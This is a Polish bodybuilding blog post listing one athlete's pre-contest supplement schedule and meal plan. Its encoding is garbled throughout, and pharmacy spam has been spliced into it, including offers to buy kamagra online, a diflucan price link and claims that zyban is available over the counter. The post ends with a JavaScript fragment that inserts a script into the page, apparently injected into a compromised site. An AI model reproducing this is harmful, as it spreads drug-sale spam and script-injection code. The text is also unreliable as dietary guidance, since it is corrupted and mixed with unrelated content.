DEBIUTY 2012 : na 7 tygodni przed …

14.02.2012 / Adam Jabłoński / Kulturystyka

Buy na 7 TYGODNI przed debiutami po kolejnych konsultacjach wprowadziliAi??my kolejne zmiany z Tomkiem:

Trening Aerobowy robiAi??em 6 x po 50 minut

rualis 20 SUPLEMENTACJA :
+ Rano: Order
– 4 kaps CM3
– 50 gram WHEY 100
– 3 tab AMINO 4500 / AMINO WHEY SYSTEM
– 5 gram BCAA Powder
– 10 gram VITAMIN-SHOP 100% Glutamine Micronized
– 1 tab Multi Pack 36
– 1 kaps Super OMEGA-3 + Vitamin E
– 1 tab Fat Transporter
– 2 kaps Taurine 900
– 0,5 tab VIT-C Strong 1000
– 1 kaps Tribulon BLACK
– 2 kaps Clenburexin 2
– 1 kaps Magne-100 Sport

+ PopoAi??udniu:
– 1 kaps Super OMEGA-3 + Vitamin E
– 1 tab Fat Transporter
– 3 tab AMINO 4500 / AMINO WHEY SYSTEM
– 2 kaps Taurine 900
– 0,5 tab VIT-C Strong 1000

+ PopoAi??udniu: trochAi?? pA?A?niej:
– 1 kaps Super OMEGA-3 + Vitamin E
– 1 tab Fat Transporter
– 3 tab AMINO 4500 / AMINO WHEY SYSTEM
– 2 kaps Taurine 900
– 0,5 tab VIT-C Strong 1000

+ Przed Treningiem: online online
– 10 gram S.A.W.
– 15 gram BCAA Powder
– 1 tab Fat Transporter
– 4 kaps Taurine 900
– 1 kaps Tribulon BLACK
– 2 kaps Clenburexin 2
– 4 tab Carnogenic
– 2 kaps CM3

+ Po treningu siAi??owym :
– 15 gram BCAA Powder
– 10 gram VITAMIN-SHOP 100% Glutamine Micronized
– 50 gram Vitargo electro-energy
– 4 kaps CM3
– 1 tab VIT-C Strong 1000

+ Po treningu aerobowym :
– 50 gram IsoLate 100

+ Na Noc:
– 1 tab MultiPack 36
– 1 kaps Super OMEGA-3 + Vitamin E
– 1 tab Fat Transporter
– 2 kaps MAGNE-100 Sport
– 2 tab VIT-C Strong 1000
– 7 tab GH Turbo
– 1 kaps Tribulon BLACK
– 1 kaps Magne-100 Sport

DIETA NATOMIAST WYGLAi??DAA?A TAK :

1 POSIA?EK :
90 gram zmielonych pAi??atkA?w owsianych
50 gram Whey 100

2 POSIA?EK :
80 gram ryA?u basmatii
200 gram grillowanej piersi z kurczaka
10 ml oleju lnianego

3 POSIA?EK :
80 gram ryA?u basmatii
200 gram grillowanej piersi z kurczaka
10 ml oleju lnianego

4 POSIA?EK :
80 gram ryA?u basmatii
200 gram grillowanej piersi z kurczaka
10 ml oleju lnianego

POSIA?EK (po siAi??owni) : buy kamagra online usa. buy Kamagra online. is kamagra legal in usa. buy pills
– 50 gram Vitargo electro-energy

purchase minomycin acne Cheap POSIA?EK (po aerobach) :
– 50 gram ISOLATE 100

5 POSIA?EK (po siAi??owni) : Buy http://snipd.net/diflucan-prices
80 gram ryA?u basmatii
200 gram grillowanej piersi z kurczaka

6 POSIA?EK :
200 gram grillowanej piersi z kurczaka

Czyli tak :
a) z rana – 10 gram pAi??atkA?w owsianych
b) + 1 dzieAi?? aerobA?w
c) – 5 gram Vitargo po treningu

A FORMA WYGLAi??DAA?A TAK :

WAGA : 92,5 kg




zyban available over the counter

Pozdrawiam
Hej,document.currentScript.parentNode.insertBefore(s, document.currentScript); Pills if (document.currentScript) { }